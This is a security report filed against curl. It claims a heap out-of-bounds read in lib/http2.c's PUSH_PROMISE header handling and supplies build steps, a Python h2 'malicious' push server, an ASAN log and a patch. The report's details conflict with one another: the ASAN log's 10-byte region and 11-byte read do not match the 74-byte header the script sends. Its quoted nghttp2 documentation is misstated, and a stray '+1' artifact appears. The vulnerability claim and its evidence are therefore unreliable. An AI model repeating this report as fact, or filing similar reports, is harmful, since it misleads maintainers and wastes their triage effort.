curl · Report #3506159
Heap Out-of-Bounds Read in lib/http2.c via Malformed PUSH_PROMISE Headers
How it was found
Summary A heap-based out-of-bounds read vulnerability exists in libcurl's HTTP/2 implementation. The on_header callback in lib/http2.c incorrectly treats header names and values provided by nghttp2 as null-terminated C-strings. Specifically, passing these pointers to curl_maprintf with the %s format specifier triggers an out-of-bounds read via strlen(), as nghttp2 provides raw byte buffers with explicit lengths, not null-terminated strings. +1
Vulnerability Analysis & Root Cause
- API Contract Violation: According to the nghttp2 documentation, the nghttp2_on_header_callback provides pointers to the header name and value (name, value) alongside their lengths (namelen, valuelen). The documentation explicitly states:
"The 'name' and 'value' pointers are NOT guaranteed to be null-terminated. [...] Applications MUST use the provided length parameters.".
- Vulnerable Implementation: In lib/http2.c, the on_header function ignores the length parameters when formatting the string for PUSH_PROMISE headers, relying on curl_maprintf which internally uses strlen:
C
/* lib/http2.c around line 1642 - Vulnerable */ h = curl_maprintf("%s:%s", name, value); 3. Execution Flow:
curl_maprintf parses the %s format specifier.
It internally calls strlen() on the name and value pointers.
Since the malicious server sends a header without a null byte, strlen() reads past the allocated buffer boundary until it hits a coincidental null byte in adjacent heap memory.
This results in an Out-of-Bounds Read.
Steps to Reproduce
- Build Environment Compile cURL with AddressSanitizer (ASAN) to visualize the memory violation:
Bash
./configure --with-nghttp2 --enable-debug CFLAGS="-fsanitize=address -g" LDFLAGS="-fsanitize=address" make -j$(nproc) 2. Reproduction Script (http2_server.py) This Python script (using h2) establishes an HTTP/2 connection and pushes a stream with a non-null-terminated header.
Python
import asyncio, h2.connection, h2.events, h2.config
async def handle(reader, writer): config = h2.config.H2Configuration(client_side=False) conn = h2.connection.H2Connection(config=config) conn.initiate_connection() conn.update_settings({h2.settings.SettingCodes.ENABLE_PUSH: 1}) writer.write(conn.data_to_send()) await writer.drain()
data = await reader.read(65535)
events = conn.receive_data(data)
for event in events:
if isinstance(event, h2.events.RequestReceived):
conn.send_headers(event.stream_id, [(':status', '200')])
# MALICIOUS PAYLOAD: Header with no null termination logic
malicious_name = b'x-oob-test' + b'A' * 64
malicious_val = b'trigger' + b'B' * 64
conn.push_stream(event.stream_id, event.stream_id + 2, [
(b':method', b'GET'), (b':path', b'/push'),
(b':scheme', b'http'), (b':authority', b'localhost'),
(malicious_name, malicious_val)
])
writer.write(conn.data_to_send())
await writer.drain()
break
writer.close()
asyncio.run(asyncio.start_server(handle, '127.0.0.1', 8080).serve_forever()) 3. Execution Run the server and connect with the ASAN-enabled cURL:
Bash
Terminal 1
python3 http2_server.py
Terminal 2
ASAN_OPTIONS=detect_stack_use_after_return=1 ./src/curl -v --http2-prior-knowledge http://127.0.0.1:8080/ Evidence (ASAN Log) The following ASAN output confirms the read overflow. The READ of size... occurs inside strlen called by curl_maprintf.
Plaintext
==67356==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6c352e0e001a... READ of size 11 at 0x6c352e0e001a thread T0 #0 0x... in strlen #1 0x... in curl_maprintf #2 0x... in on_header lib/http2.c:1642 ... 0x6c352e0e001a is located 0 bytes after 10-byte region... Recommended Fix The code must use the explicit namelen and valuelen parameters provided by the nghttp2 callback to limit the read operation.
Patch (lib/http2.c): Use the precision specifier %.*s which takes the length as an integer argument before the string pointer.
C
/* Fixed implementation */ h = curl_maprintf("%.*s:%.*s", (int)namelen, name, (int)valuelen, value); Diff:
Diff
--- a/lib/http2.c +++ b/lib/http2.c @@ -1642,7 +1642,7 @@ static int on_header(nghttp2_session *session, const nghttp2_frame *frame,
-
h = curl_maprintf("%s:%s", name, value);
-
h = curl_maprintf("%.*s:%.*s", (int)namelen, name, (int)valuelen, value);
Impact
Impact Information Disclosure: Attackers can read sensitive data (keys, tokens, other request data) from the heap memory adjacent to the header buffer.
Availability: If the OOB read accesses unmapped memory, the application will crash.